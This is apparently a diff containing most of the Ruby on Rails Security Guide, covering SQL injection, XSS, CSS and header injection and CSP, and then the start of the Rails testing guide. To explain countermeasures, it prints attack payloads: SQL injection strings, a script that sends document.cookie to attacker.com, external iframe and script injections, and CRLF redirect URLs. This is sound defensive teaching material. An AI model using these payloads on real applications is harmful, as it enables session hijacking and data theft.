_Tell Rails not to put passwords in the log files._ + +By default, Rails logs all requests being made to the web application. But log files can be a huge security issue, as they may contain login credentials, credit card numbers et cetera. When designing a web application security concept, you should also think about what will happen if an attacker got (full) access to the web server. Encrypting secrets and passwords in the database will be quite useless, if the log files list them in clear text. You can _filter certain request parameters from your log files_ by appending them to `config.filter_parameters` in the application configuration. These parameters will be marked [FILTERED] in the log. + +```ruby +config.filter_parameters << :password +``` + +NOTE: Provided parameters will be filtered out by partial matching regular expression. Rails adds default `:password` in the appropriate initializer (`initializers/filter_parameter_logging.rb`) and cares about typical application parameters `password` and `password_confirmation`. + +### Regular Expressions + +INFO: _A common pitfall in Ruby's regular expressions is to match the string's beginning and end by ^ and $, instead of \A and \z._ + +Ruby uses a slightly different approach than many other languages to match the end and the beginning of a string. That is why even many Ruby and Rails books get this wrong. So how is this a security threat? Say you wanted to loosely validate a URL field and you used a simple regular expression like this: + +```ruby + /^https?:\/\/[^\n]+$/i +``` + +This may work fine in some languages. However, _in Ruby ^ and $ match the **line** beginning and line end_. And thus a URL like this passes the filter without problems: + +``` +javascript:exploit_code();/* +http://hi.com +*/ +``` + +This URL passes the filter because the regular expression matches - the second line, the rest does not matter. Now imagine we had a view that showed the URL like this: + +```ruby + link_to "Homepage", @user.homepage +``` + +The link looks innocent to visitors, but when it's clicked, it will execute the JavaScript function "exploit_code" or any other JavaScript the attacker provides. + +To fix the regular expression, \A and \z should be used instead of ^ and $, like so: + +```ruby + /\Ahttps?:\/\/[^\n]+\z/i +``` + +Since this is a frequent mistake, the format validator (validates_format_of) now raises an exception if the provided regular expression starts with ^ or ends with $. If you do need to use ^ and $ instead of \A and \z (which is rare), you can set the :multiline option to true, like so: + +```ruby + # content should include a line "Meanwhile" anywhere in the string + validates :content, format: { with: /^Meanwhile$/, multiline: true } +``` + +Note that this only protects you against the most common mistake when using the format validator - you always need to keep in mind that ^ and $ match the **line** beginning and line end in Ruby, and not the beginning and end of a string. + +### Privilege Escalation + +WARNING: _Changing a single parameter may give the user unauthorized access. Remember that every parameter may be changed, no matter how much you hide or obfuscate it._ + +The most common parameter that a user might tamper with, is the id parameter, as in `http://www.domain.com/project/1`, whereas 1 is the id. It will be available in params in the controller. There, you will most likely do something like this: + +```ruby +@project = Project.find(params[:id]) +``` + +This is alright for some web applications, but certainly not if the user is not authorized to view all projects. If the user changes the id to 42, and they are not allowed to see that information, they will have access to it anyway. Instead, _query the user's access rights, too_: + +```ruby +@project = @current_user.projects.find(params[:id]) +``` + +Depending on your web application, there will be many more parameters the user can tamper with. As a rule of thumb, _no user input data is secure, until proven otherwise, and every parameter from the user is potentially manipulated_. + +Don't be fooled by security by obfuscation and JavaScript security. Developer tools let you review and change every form's hidden fields. _JavaScript can be used to validate user input data, but certainly not to prevent attackers from sending malicious requests with unexpected values_. The Firebug addon for Mozilla Firefox logs every request and may repeat and change them. That is an easy way to bypass any JavaScript validations. And there are even client-side proxies that allow you to intercept any request and response from and to the Internet. + +Injection +--------- + +INFO: _Injection is a class of attacks that introduce malicious code or parameters into a web application in order to run it within its security context. Prominent examples of injection are cross-site scripting (XSS) and SQL injection._ + +Injection is very tricky, because the same code or parameter can be malicious in one context, but totally harmless in another. A context can be a scripting, query, or programming language, the shell, or a Ruby/Rails method. The following sections will cover all important contexts where injection attacks may happen. The first section, however, covers an architectural decision in connection with Injection. + +### Permitted lists versus Restricted lists + +NOTE: _When sanitizing, protecting, or verifying something, prefer permitted lists over restricted lists._ + +A restricted list can be a list of bad e-mail addresses, non-public actions or bad HTML tags. This is opposed to a permitted list which lists the good e-mail addresses, public actions, good HTML tags, and so on. Although sometimes it is not possible to create a permitted list (in a SPAM filter, for example), _prefer to use permitted list approaches_: + +* Use before_action except: [...] instead of only: [...] for security-related actions. This way you don't forget to enable security checks for newly added actions. +* Allow <strong> instead of removing <script> against Cross-Site Scripting (XSS). See below for details. +* Don't try to correct user input using restricted lists: + * This will make the attack work: "<sc<script>ript>".gsub("<script>", "") + * But reject malformed input + +Permitted lists are also a good approach against the human factor of forgetting something in the restricted list. + +### SQL Injection + +INFO: _Thanks to clever methods, this is hardly a problem in most Rails applications. However, this is a very devastating and common attack in web applications, so it is important to understand the problem._ + +#### Introduction + +SQL injection attacks aim at influencing database queries by manipulating web application parameters. A popular goal of SQL injection attacks is to bypass authorization. Another goal is to carry out data manipulation or reading arbitrary data. Here is an example of how not to use user input data in a query: + +```ruby +Project.where("name = '#{params[:name]}'") +``` + +This could be in a search action and the user may enter a project's name that they want to find. If a malicious user enters ' OR 1 --, the resulting SQL query will be: + +```sql +SELECT * FROM projects WHERE name = '' OR 1 --' +``` + +The two dashes start a comment ignoring everything after it. So the query returns all records from the projects table including those blind to the user. This is because the condition is true for all records. + +#### Bypassing Authorization + +Usually a web application includes access control. The user enters their login credentials and the web application tries to find the matching record in the users table. The application grants access when it finds a record. However, an attacker may possibly bypass this check with SQL injection. The following shows a typical database query in Rails to find the first record in the users table which matches the login credentials parameters supplied by the user. + +```ruby +User.find_by("login = '#{params[:name]}' AND password = '#{params[:password]}'") +``` + +If an attacker enters ' OR '1'='1 as the name, and ' OR '2'>'1 as the password, the resulting SQL query will be: + +```sql +SELECT * FROM users WHERE login = '' OR '1'='1' AND password = '' OR '2'>'1' LIMIT 1 +``` + +This will simply find the first record in the database, and grants access to this user. + +#### Unauthorized Reading + +The UNION statement connects two SQL queries and returns the data in one set. An attacker can use it to read arbitrary data from the database. Let's take the example from above: + +```ruby +Project.where("name = '#{params[:name]}'") +``` + +And now let's inject another query using the UNION statement: + +``` +') UNION SELECT id,login AS name,password AS description,1,1,1 FROM users -- +``` + +This will result in the following SQL query: + +```sql +SELECT * FROM projects WHERE (name = '') UNION + SELECT id,login AS name,password AS description,1,1,1 FROM users --' +``` + +The result won't be a list of projects (because there is no project with an empty name), but a list of user names and their password. So hopefully you encrypted the passwords in the database! The only problem for the attacker is, that the number of columns has to be the same in both queries. That's why the second query includes a list of ones (1), which will be always the value 1, in order to match the number of columns in the first query. + +Also, the second query renames some columns with the AS statement so that the web application displays the values from the user table. Be sure to update your Rails [to at least 2.1.1](http://www.rorsecurity.info/2008/09/08/sql-injection-issue-in-limit-and-offset-parameter/). + +#### Countermeasures + +Ruby on Rails has a built-in filter for special SQL characters, which will escape ' , " , NULL character, and line breaks. *Using `Model.find(id)` or `Model.find_by_some thing(something)` automatically applies this countermeasure*. But in SQL fragments, especially *in conditions fragments (`where("...")`), the `connection.execute()` or `Model.find_by_sql()` methods, it has to be applied manually*. + +Instead of passing a string to the conditions option, you can pass an array to sanitize tainted strings like this: + +```ruby +Model.where("login = ? AND password = ?", entered_user_name, entered_password).first +``` + +As you can see, the first part of the array is an SQL fragment with question marks. The sanitized versions of the variables in the second part of the array replace the question marks. Or you can pass a hash for the same result: + +```ruby +Model.where(login: entered_user_name, password: entered_password).first +``` + +The array or hash form is only available in model instances. You can try `sanitize_sql()` elsewhere. _Make it a habit to think about the security consequences when using an external string in SQL_. + +### Cross-Site Scripting (XSS) + +INFO: _The most widespread, and one of the most devastating security vulnerabilities in web applications is XSS. This malicious attack injects client-side executable code. Rails provides helper methods to fend these attacks off._ + +#### Entry Points + +An entry point is a vulnerable URL and its parameters where an attacker can start an attack. + +The most common entry points are message posts, user comments, and guest books, but project titles, document names, and search result pages have also been vulnerable - just about everywhere where the user can input data. But the input does not necessarily have to come from input boxes on web sites, it can be in any URL parameter - obvious, hidden or internal. Remember that the user may intercept any traffic. Applications or client-site proxies make it easy to change requests. There are also other attack vectors like banner advertisements. + +XSS attacks work like this: An attacker injects some code, the web application saves it and displays it on a page, later presented to a victim. Most XSS examples simply display an alert box, but it is more powerful than that. XSS can steal the cookie, hijack the session, redirect the victim to a fake website, display advertisements for the benefit of the attacker, change elements on the web site to get confidential information or install malicious software through security holes in the web browser. + +During the second half of 2007, there were 88 vulnerabilities reported in Mozilla browsers, 22 in Safari, 18 in IE, and 12 in Opera. The [Symantec Global Internet Security threat report](http://eval.symantec.com/mktginfo/enterprise/white_papers/b-whitepaper_internet_security_threat_report_xiii_04-2008.en-us.pdf) also documented 239 browser plug-in vulnerabilities in the last six months of 2007. [Mpack](http://pandalabs.pandasecurity.com/mpack-uncovered/) is a very active and up-to-date attack framework which exploits these vulnerabilities. For criminal hackers, it is very attractive to exploit an SQL-Injection vulnerability in a web application framework and insert malicious code in every textual table column. In April 2008 more than 510,000 sites were hacked like this, among them the British government, United Nations, and many more high profile targets. + +#### HTML/JavaScript Injection + +The most common XSS language is of course the most popular client-side scripting language JavaScript, often in combination with HTML. _Escaping user input is essential_. + +Here is the most straightforward test to check for XSS: + +```html +<script>alert('Hello');</script> +``` + +This JavaScript code will simply display an alert box. The next examples do exactly the same, only in very uncommon places: + +```html +<img src=javascript:alert('Hello')> +<table background="javascript:alert('Hello')"> +``` + +##### Cookie Theft + +These examples don't do any harm so far, so let's see how an attacker can steal the user's cookie (and thus hijack the user's session). In JavaScript you can use the document.cookie property to read and write the document's cookie. JavaScript enforces the same origin policy, that means a script from one domain cannot access cookies of another domain. The document.cookie property holds the cookie of the originating web server. However, you can read and write this property, if you embed the code directly in the HTML document (as it happens with XSS). Inject this anywhere in your web application to see your own cookie on the result page: + +``` +<script>document.write(document.cookie);</script> +``` + +For an attacker, of course, this is not useful, as the victim will see their own cookie. The next example will try to load an image from the URL http://www.attacker.com/ plus the cookie. Of course this URL does not exist, so the browser displays nothing. But the attacker can review their web server's access log files to see the victim's cookie. + +```html +<script>document.write('<img src="http://www.attacker.com/' + document.cookie + '">');</script> +``` + +The log files on www.attacker.com will read like this: + +``` +GET http://www.attacker.com/_app_session=836c1c25278e5b321d6bea4f19cb57e2 +``` + +You can mitigate these attacks (in the obvious way) by adding the **httpOnly** flag to cookies, so that document.cookie may not be read by JavaScript. HTTP only cookies can be used from IE v6.SP1, Firefox v2.0.0.5, Opera 9.5, Safari 4, and Chrome 1.0.154 onwards. But other, older browsers (such as WebTV and IE 5.5 on Mac) can actually cause the page to fail to load. Be warned that cookies [will still be visible using Ajax](https://www.owasp.org/index.php/HTTPOnly#Browsers_Supporting_HttpOnly), though. + +##### Defacement + +With web page defacement an attacker can do a lot of things, for example, present false information or lure the victim on the attackers web site to steal the cookie, login credentials, or other sensitive data. The most popular way is to include code from external sources by iframes: + +```html +<iframe name="StatPage" src="http://58.xx.xxx.xxx" width=5 height=5 style="display:none"></iframe> +``` + +This loads arbitrary HTML and/or JavaScript from an external source and embeds it as part of the site. This iframe is taken from an actual attack on legitimate Italian sites using the [Mpack attack framework](http://isc.sans.org/diary.html?storyid=3015). Mpack tries to install malicious software through security holes in the web browser - very successfully, 50% of the attacks succeed. + +A more specialized attack could overlap the entire web site or display a login form, which looks the same as the site's original, but transmits the user name and password to the attacker's site. Or it could use CSS and/or JavaScript to hide a legitimate link in the web application, and display another one at its place which redirects to a fake web site. + +Reflected injection attacks are those where the payload is not stored to present it to the victim later on, but included in the URL. Especially search forms fail to escape the search string. The following link presented a page which stated that "George Bush appointed a 9 year old boy to be the chairperson...": + +``` +http://www.cbsnews.com/stories/2002/02/15/weather_local/main501644.shtml?zipcode=1--> + <script src=http://www.securitylab.ru/test/sc.js></script><!-- +``` + +##### Countermeasures + +_It is very important to filter malicious input, but it is also important to escape the output of the web application_. + +Especially for XSS, it is important to do _permitted input filtering instead of restricted_. Permitted list filtering states the values allowed as opposed to the values not allowed. Restricted lists are never complete. + +Imagine a restricted list deletes "script" from the user input. Now the attacker injects "<scrscriptipt>", and after the filter, "<script>" remains. Earlier versions of Rails used a restricted list approach for the strip_tags(), strip_links() and sanitize() method. So this kind of injection was possible: + +```ruby +strip_tags("some<<b>script>alert('hello')<</b>/script>") +``` + +This returned "some<script>alert('hello')</script>", which makes an attack work. That's why a permitted list approach is better, using the updated Rails 2 method sanitize(): + +```ruby +tags = %w(a acronym b strong i em li ul ol h1 h2 h3 h4 h5 h6 blockquote br cite sub sup ins p) +s = sanitize(user_input, tags: tags, attributes: %w(href title)) +``` + +This allows only the given tags and does a good job, even against all kinds of tricks and malformed tags. + +As a second step, _it is good practice to escape all output of the application_, especially when re-displaying user input, which hasn't been input-filtered (as in the search form example earlier on). _Use `escapeHTML()` (or its alias `h()`) method_ to replace the HTML input characters &, ", <, and > by their uninterpreted representations in HTML (`&`, `"`, `<`, and `>`). + +##### Obfuscation and Encoding Injection + +Network traffic is mostly based on the limited Western alphabet, so new character encodings, such as Unicode, emerged, to transmit characters in other languages. But, this is also a threat to web applications, as malicious code can be hidden in different encodings that the web browser might be able to process, but the web application might not. Here is an attack vector in UTF-8 encoding: + +``` +<IMG SRC=javascript:a + lert('XSS')> +``` + +This example pops up a message box. It will be recognized by the above sanitize() filter, though. A great tool to obfuscate and encode strings, and thus "get to know your enemy", is the [Hackvertor](https://hackvertor.co.uk/public). Rails' sanitize() method does a good job to fend off encoding attacks. + +#### Examples from the Underground + +_In order to understand today's attacks on web applications, it's best to take a look at some real-world attack vectors._ + +The following is an excerpt from the [Js.Yamanner@m](http://www.symantec.com/security_response/writeup.jsp?docid=2006-061211-4111-99&tabid=1) Yahoo! Mail [worm](http://groovin.net/stuff/yammer.txt). It appeared on June 11, 2006 and was the first webmail interface worm: + +``` +<img src='http://us.i1.yimg.com/us.yimg.com/i/us/nt/ma/ma_mail_1.gif' + target=""onload="var http_request = false; var Email = ''; + var IDList = ''; var CRumb = ''; function makeRequest(url, Func, Method,Param) { ... +``` + +The worms exploit a hole in Yahoo's HTML/JavaScript filter, which usually filters all targets and onload attributes from tags (because there can be JavaScript). The filter is applied only once, however, so the onload attribute with the worm code stays in place. This is a good example why restricted list filters are never complete and why it is hard to allow HTML/JavaScript in a web application. + +Another proof-of-concept webmail worm is Nduja, a cross-domain worm for four Italian webmail services. Find more details on [Rosario Valotta's paper](http://www.xssed.com/news/37/Nduja_Connection_A_cross_webmail_worm_XWW/). Both webmail worms have the goal to harvest email addresses, something a criminal hacker could make money with. + +In December 2006, 34,000 actual user names and passwords were stolen in a [MySpace phishing attack](http://news.netcraft.com/archives/2006/10/27/myspace_accounts_compromised_by_phishers.html). The idea of the attack was to create a profile page named "login_home_index_html", so the URL looked very convincing. Specially-crafted HTML and CSS was used to hide the genuine MySpace content from the page and instead display its own login form. + +### CSS Injection + +INFO: _CSS Injection is actually JavaScript injection, because some browsers (IE, some versions of Safari, and others) allow JavaScript in CSS. Think twice about allowing custom CSS in your web application._ + +CSS Injection is explained best by the well-known [MySpace Samy worm](https://samy.pl/myspace/tech.html). This worm automatically sent a friend request to Samy (the attacker) simply by visiting his profile. Within several hours he had over 1 million friend requests, which created so much traffic that MySpace went offline. The following is a technical explanation of that worm. + +MySpace blocked many tags, but allowed CSS. So the worm's author put JavaScript into CSS like this: + +```html +<div style="background:url('javascript:alert(1)')"> +``` + +So the payload is in the style attribute. But there are no quotes allowed in the payload, because single and double quotes have already been used. But JavaScript has a handy eval() function which executes any string as code. + +```html +<div id="mycode" expr="alert('hah!')" style="background:url('javascript:eval(document.all.mycode.expr)')"> +``` + +The eval() function is a nightmare for restricted list input filters, as it allows the style attribute to hide the word "innerHTML": + +``` +alert(eval('document.body.inne' + 'rHTML')); +``` + +The next problem was MySpace filtering the word "javascript", so the author used "java<NEWLINE>script" to get around this: + +```html +<div id="mycode" expr="alert('hah!')" style="background:url('java↵
script:eval(document.all.mycode.expr)')"> +``` + +Another problem for the worm's author was the [CSRF security tokens](#cross-site-request-forgery-csrf). Without them he couldn't send a friend request over POST. He got around it by sending a GET to the page right before adding a user and parsing the result for the CSRF token. + +In the end, he got a 4 KB worm, which he injected into his profile page. + +The [moz-binding](http://www.securiteam.com/securitynews/5LP051FHPE.html) CSS property proved to be another way to introduce JavaScript in CSS in Gecko-based browsers (Firefox, for example). + +#### Countermeasures + +This example, again, showed that a restricted list filter is never complete. However, as custom CSS in web applications is a quite rare feature, it may be hard to find a good permitted CSS filter. _If you want to allow custom colors or images, you can allow the user to choose them and build the CSS in the web application_. Use Rails' `sanitize()` method as a model for a permitted CSS filter, if you really need one. + +### Textile Injection + +If you want to provide text formatting other than HTML (due to security), use a mark-up language which is converted to HTML on the server-side. [RedCloth](http://redcloth.org/) is such a language for Ruby, but without precautions, it is also vulnerable to XSS. + +For example, RedCloth translates `_test_` to <em>test<em>, which makes the text italic. However, up to the current version 3.0.4, it is still vulnerable to XSS. Get the [all-new version 4](http://www.redcloth.org) that removed serious bugs. However, even that version has [some security bugs](http://www.rorsecurity.info/journal/2008/10/13/new-redcloth-security.html), so the countermeasures still apply. Here is an example for version 3.0.4: + +```ruby +RedCloth.new('<script>alert(1)</script>').to_html +# => "<script>alert(1)</script>" +``` + +Use the :filter_html option to remove HTML which was not created by the Textile processor. + +```ruby +RedCloth.new('<script>alert(1)</script>', [:filter_html]).to_html +# => "alert(1)" +``` + +However, this does not filter all HTML, a few tags will be left (by design), for example <a>: + +```ruby +RedCloth.new("<a href='javascript:alert(1)'>hello</a>", [:filter_html]).to_html +# => "<p><a href="javascript:alert(1)">hello</a></p>" +``` + +#### Countermeasures + +It is recommended to _use RedCloth in combination with a permitted input filter_, as described in the countermeasures against XSS section. + +### Ajax Injection + +NOTE: _The same security precautions have to be taken for Ajax actions as for "normal" ones. There is at least one exception, however: The output has to be escaped in the controller already, if the action doesn't render a view._ + +If you use the [in_place_editor plugin](https://rubygems.org/gems/in_place_editing), or actions that return a string, rather than rendering a view, _you have to escape the return value in the action_. Otherwise, if the return value contains a XSS string, the malicious code will be executed upon return to the browser. Escape any input value using the h() method. + +### Command Line Injection + +NOTE: _Use user-supplied command line parameters with caution._ + +If your application has to execute commands in the underlying operating system, there are several methods in Ruby: exec(command), syscall(command), system(command) and `command`. You will have to be especially careful with these functions if the user may enter the whole command, or a part of it. This is because in most shells, you can execute another command at the end of the first one, concatenating them with a semicolon (;) or a vertical bar (|). + +A countermeasure is to _use the `system(command, parameters)` method which passes command line parameters safely_. + +```ruby +system("/bin/echo","hello; rm *") +# prints "hello; rm *" and does not delete files +``` + + +### Header Injection + +WARNING: _HTTP headers are dynamically generated and under certain circumstances user input may be injected. This can lead to false redirection, XSS, or HTTP response splitting._ + +HTTP request headers have a Referer, User-Agent (client software), and Cookie field, among others. Response headers for example have a status code, Cookie, and Location (redirection target URL) field. All of them are user-supplied and may be manipulated with more or less effort. _Remember to escape these header fields, too._ For example when you display the user agent in an administration area. + +Besides that, it is _important to know what you are doing when building response headers partly based on user input._ For example you want to redirect the user back to a specific page. To do that you introduced a "referer" field in a form to redirect to the given address: + +```ruby +redirect_to params[:referer] +``` + +What happens is that Rails puts the string into the Location header field and sends a 302 (redirect) status to the browser. The first thing a malicious user would do, is this: + +``` +http://www.yourapplication.com/controller/action?referer=http://www.malicious.tld +``` + +And due to a bug in (Ruby and) Rails up to version 2.1.2 (excluding it), a hacker may inject arbitrary header fields; for example like this: + +``` +http://www.yourapplication.com/controller/action?referer=http://www.malicious.tld%0d%0aX-Header:+Hi! +http://www.yourapplication.com/controller/action?referer=path/at/your/app%0d%0aLocation:+http://www.malicious.tld +``` + +Note that "%0d%0a" is URL-encoded for "\r\n" which is a carriage-return and line-feed (CRLF) in Ruby. So the resulting HTTP header for the second example will be the following because the second Location header field overwrites the first. + +``` +HTTP/1.1 302 Moved Temporarily +(...) +Location: http://www.malicious.tld +``` + +So _attack vectors for Header Injection are based on the injection of CRLF characters in a header field._ And what could an attacker do with a false redirection? They could redirect to a phishing site that looks the same as yours, but ask to login again (and sends the login credentials to the attacker). Or they could install malicious software through browser security holes on that site. Rails 2.1.2 escapes these characters for the Location field in the `redirect_to` method. _Make sure you do it yourself when you build other header fields with user input._ + +#### Response Splitting + +If Header Injection was possible, Response Splitting might be, too. In HTTP, the header block is followed by two CRLFs and the actual data (usually HTML). The idea of Response Splitting is to inject two CRLFs into a header field, followed by another response with malicious HTML. The response will be: + +``` +HTTP/1.1 302 Found [First standard 302 response] +Date: Tue, 12 Apr 2005 22:09:07 GMT +Location:
Content-Type: text/html + + +HTTP/1.1 200 OK [Second New response created by attacker begins] +Content-Type: text/html + + +<html><font color=red>hey</font></html> [Arbitrary malicious input is +Keep-Alive: timeout=15, max=100 shown as the redirected page] +Connection: Keep-Alive +Transfer-Encoding: chunked +Content-Type: text/html +``` + +Under certain circumstances this would present the malicious HTML to the victim. However, this only seems to work with Keep-Alive connections (and many browsers are using one-time connections). But you can't rely on this. _In any case this is a serious bug, and you should update your Rails to version 2.0.5 or 2.1.2 to eliminate Header Injection (and thus response splitting) risks._ + +Unsafe Query Generation +----------------------- + +Due to the way Active Record interprets parameters in combination with the way +that Rack parses query parameters it was possible to issue unexpected database +queries with `IS NULL` where clauses. As a response to that security issue +([CVE-2012-2660](https://groups.google.com/forum/#!searchin/rubyonrails-security/deep_munge/rubyonrails-security/8SA-M3as7A8/Mr9fi9X4kNgJ), +[CVE-2012-2694](https://groups.google.com/forum/#!searchin/rubyonrails-security/deep_munge/rubyonrails-security/jILZ34tAHF4/7x0hLH-o0-IJ) +and [CVE-2013-0155](https://groups.google.com/forum/#!searchin/rubyonrails-security/CVE-2012-2660/rubyonrails-security/c7jT-EeN9eI/L0u4e87zYGMJ)) +`deep_munge` method was introduced as a solution to keep Rails secure by default. + +Example of vulnerable code that could be used by attacker, if `deep_munge` +wasn't performed is: + +```ruby +unless params[:token].nil? + user = User.find_by_token(params[:token]) + user.reset_password! +end +``` + +When `params[:token]` is one of: `[nil]`, `[nil, nil, ...]` or +`['foo', nil]` it will bypass the test for `nil`, but `IS NULL` or +`IN ('foo', NULL)` where clauses still will be added to the SQL query. + +To keep Rails secure by default, `deep_munge` replaces some of the values with +`nil`. Below table shows what the parameters look like based on `JSON` sent in +request: + +| JSON | Parameters | +|-----------------------------------|--------------------------| +| `{ "person": null }` | `{ :person => nil }` | +| `{ "person": [] }` | `{ :person => [] }` | +| `{ "person": [null] }` | `{ :person => [] }` | +| `{ "person": [null, null, ...] }` | `{ :person => [] }` | +| `{ "person": ["foo", null] }` | `{ :person => ["foo"] }` | + +It is possible to return to old behavior and disable `deep_munge` configuring +your application if you are aware of the risk and know how to handle it: + +```ruby +config.action_dispatch.perform_deep_munge = false +``` + +Default Headers +--------------- + +Every HTTP response from your Rails application receives the following default security headers. + +```ruby +config.action_dispatch.default_headers = { + 'X-Frame-Options' => 'SAMEORIGIN', + 'X-XSS-Protection' => '1; mode=block', + 'X-Content-Type-Options' => 'nosniff', + 'X-Download-Options' => 'noopen', + 'X-Permitted-Cross-Domain-Policies' => 'none', + 'Referrer-Policy' => 'strict-origin-when-cross-origin' +} +``` + +You can configure default headers in `config/application.rb`. + +```ruby +config.action_dispatch.default_headers = { + 'Header-Name' => 'Header-Value', + 'X-Frame-Options' => 'DENY' +} +``` + +Or you can remove them. + +```ruby +config.action_dispatch.default_headers.clear +``` + +Here is a list of common headers: + +* **X-Frame-Options:** _'SAMEORIGIN' in Rails by default_ - allow framing on same domain. Set it to 'DENY' to deny framing at all or 'ALLOWALL' if you want to allow framing for all website. +* **X-XSS-Protection:** _'1; mode=block' in Rails by default_ - use XSS Auditor and block page if XSS attack is detected. Set it to '0;' if you want to switch XSS Auditor off(useful if response contents scripts from request parameters) +* **X-Content-Type-Options:** _'nosniff' in Rails by default_ - stops the browser from guessing the MIME type of a file. +* **X-Content-Security-Policy:** [A powerful mechanism for controlling which sites certain content types can be loaded from](http://w3c.github.io/webappsec/specs/content-security-policy/csp-specification.dev.html) +* **Access-Control-Allow-Origin:** Used to control which sites are allowed to bypass same origin policies and send cross-origin requests. +* **Strict-Transport-Security:** [Used to control if the browser is allowed to only access a site over a secure connection](https://en.wikipedia.org/wiki/HTTP_Strict_Transport_Security) + +### Content Security Policy + +Rails provides a DSL that allows you to configure a +[Content Security Policy](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy) +for your application. You can configure a global default policy and then +override it on a per-resource basis and even use lambdas to inject per-request +values into the header such as account subdomains in a multi-tenant application. + +Example global policy: + +```ruby +# config/initializers/content_security_policy.rb +Rails.application.config.content_security_policy do |policy| + policy.default_src :self, :https + policy.font_src :self, :https, :data + policy.img_src :self, :https, :data + policy.object_src :none + policy.script_src :self, :https + policy.style_src :self, :https + + # Specify URI for violation reports + policy.report_uri "/csp-violation-report-endpoint" +end +``` + +Example controller overrides: + +```ruby +# Override policy inline +class PostsController < ApplicationController + content_security_policy do |p| + p.upgrade_insecure_requests true + end +end + +# Using literal values +class PostsController < ApplicationController + content_security_policy do |p| + p.base_uri "https://www.example.com" + end +end + +# Using mixed static and dynamic values +class PostsController < ApplicationController + content_security_policy do |p| + p.base_uri :self, -> { "https://#{current_user.domain}.example.com" } + end +end + +# Disabling the global CSP +class LegacyPagesController < ApplicationController + content_security_policy false, only: :index +end +``` + +Use the `content_security_policy_report_only` +configuration attribute to set +[Content-Security-Policy-Report-Only](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy-Report-Only) +in order to report only content violations for migrating +legacy content + +```ruby +# config/initializers/content_security_policy.rb +Rails.application.config.content_security_policy_report_only = true +``` + +```ruby +# Controller override +class PostsController < ApplicationController + content_security_policy_report_only only: :index +end +``` + +You can enable automatic nonce generation: + +```ruby +# config/initializers/content_security_policy.rb +Rails.application.config.content_security_policy do |policy| + policy.script_src :self, :https +end + +Rails.application.config.content_security_policy_nonce_generator = -> request { SecureRandom.base64(16) } +``` + +Then you can add an automatic nonce value by passing `nonce: true` +as part of `html_options`. Example: + +```html+erb +<%= javascript_tag nonce: true do -%> + alert('Hello, World!'); +<% end -%> +``` + +The same works with `javascript_include_tag`: + +```html+erb +<%= javascript_include_tag "script", nonce: true %> +``` + +Use [`csp_meta_tag`](http://api.rubyonrails.org/classes/ActionView/Helpers/CspHelper.html#method-i-csp_meta_tag) +helper to create a meta tag "csp-nonce" with the per-session nonce value +for allowing inline `<script>` tags. + +```html+erb +<head> + <%= csp_meta_tag %> +</head> +``` + +This is used by the Rails UJS helper to create dynamically +loaded inline `<script>` elements. + +Environmental Security +---------------------- + +It is beyond the scope of this guide to inform you on how to secure your application code and environments. However, please secure your database configuration, e.g. `config/database.yml`, and your server-side secret, e.g. stored in `config/secrets.yml`. You may want to further restrict access, using environment-specific versions of these files and any others that may contain sensitive information. + +### Custom credentials + +Rails generates a `config/credentials.yml.enc` to store third-party credentials +within the repo. This is only viable because Rails encrypts the file with a master +key that's generated into a version control ignored `config/master.key` — Rails +will also look for that key in `ENV["RAILS_MASTER_KEY"]`. Rails also requires the +key to boot in production, so the credentials can be read. + +To edit stored credentials use `rails credentials:edit`. + +By default, this file contains the application's +`secret_key_base`, but it could also be used to store other credentials such as +access keys for external APIs. + +The credentials added to this file are accessible via `Rails.application.credentials`. +For example, with the following decrypted `config/credentials.yml.enc`: + + secret_key_base: 3b7cd727ee24e8444053437c36cc66c3 + some_api_key: SOMEKEY + +`Rails.application.credentials.some_api_key` returns `SOMEKEY` in any environment. + +If you want an exception to be raised when some key is blank, use the bang +version: + +```ruby +Rails.application.credentials.some_api_key! # => raises KeyError: :some_api_key is blank +``` + +Dependency Management and CVEs +------------------------------ + +We don’t bump dependencies just to encourage use of new versions, including for security issues. This is because application owners need to manually update their gems regardless of our efforts. Use `bundle update --conservative gem_name` to safely update vulnerable dependencies. + +Additional Resources +-------------------- + +The security landscape shifts and it is important to keep up to date, because missing a new vulnerability can be catastrophic. You can find additional resources about (Rails) security here: + +* Subscribe to the Rails security [mailing list](https://groups.google.com/forum/#!forum/rubyonrails-security). +* [Brakeman - Rails Security Scanner](https://brakemanscanner.org/) - To perform static security analysis for Rails applications. +* [Keep up to date on the other application layers](http://secunia.com/) (they have a weekly newsletter, too). +* A [good security blog](https://www.owasp.org) including the [Cross-Site scripting Cheat Sheet](https://www.owasp.org/index.php/DOM_based_XSS_Prevention_Cheat_Sheet). diff --git a/guides/source/testing.md b/guides/source/testing.md new file mode 100644 index 0000000000..f34f9d95f4 --- /dev/null +++ b/guides/source/testing.md @@ -0,0 +1,1755 @@ +**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON https://guides.rubyonrails.org.** + +Testing Rails Applications +========================== + +This guide covers built-in mechanisms in Rails for testing your application. + +After reading this guide, you will know: + +* Rails testing terminology. +* How to write unit, functional, integration, and system tests for your application. +* Other popular testing approaches and plugins. + +-------------------------------------------------------------------------------- + +Why Write Tests for your Rails Applications? +-------------------------------------------- + +Rails makes it super easy to write your tests. It starts by producing skeleton test code while you are creating your models and controllers. + +By running your Rails tests you can ensure your code adheres to the desired functionality even after some major code refactoring. + +Rails tests can also simulate browser requests and thus you can test your application's response without having to test it through your browser. + +Introduction to Testing +----------------------- + +Testing support was woven into the Rails fabric from the beginning. It wasn't an "oh! let's bolt on support for running tests because they're new and cool" epiphany. + +### Rails Sets up for Testing from the Word Go + +Rails creates a `test` directory for you as soon as you create a Rails project using `rails new` _application_name_. If you list the contents of this directory then you shall see: + +```bash +$ ls -F test +application_system_test_case.rb fixtures/ integration/ models/ test_helper.rb +controllers/ helpers/ mailers/ system/ +``` + +The `helpers`, `mailers`, and `models` directories are meant to hold tests for view helpers, mailers, and models, respectively. The `controllers` directory is meant to hold tests for controllers, routes, and views. The `integration` directory is meant to hold tests for interactions between controllers. + +The system test directory holds system tests, which are used for full browser +testing of your application. System tests allow you to test your application +the way your users experience it and help you test your JavaScript as well. +System tests inherit from Capybara and perform in browser tests for your +application. + +Fixtures are a way of organizing test data; they reside in the `fixtures` directory. + +A `jobs` directory will also be created when an associated test is first generated. + +The `test_helper.rb` file holds the default configuration for your tests. + +The `application_system_test_case.rb` holds the default configuration for your system +tests. + + +### The Test Environment + +By default, every Rails application has three environments: development, test, and production. + +Each environment's configuration can be modified similarly. In this case, we can modify our test environment by 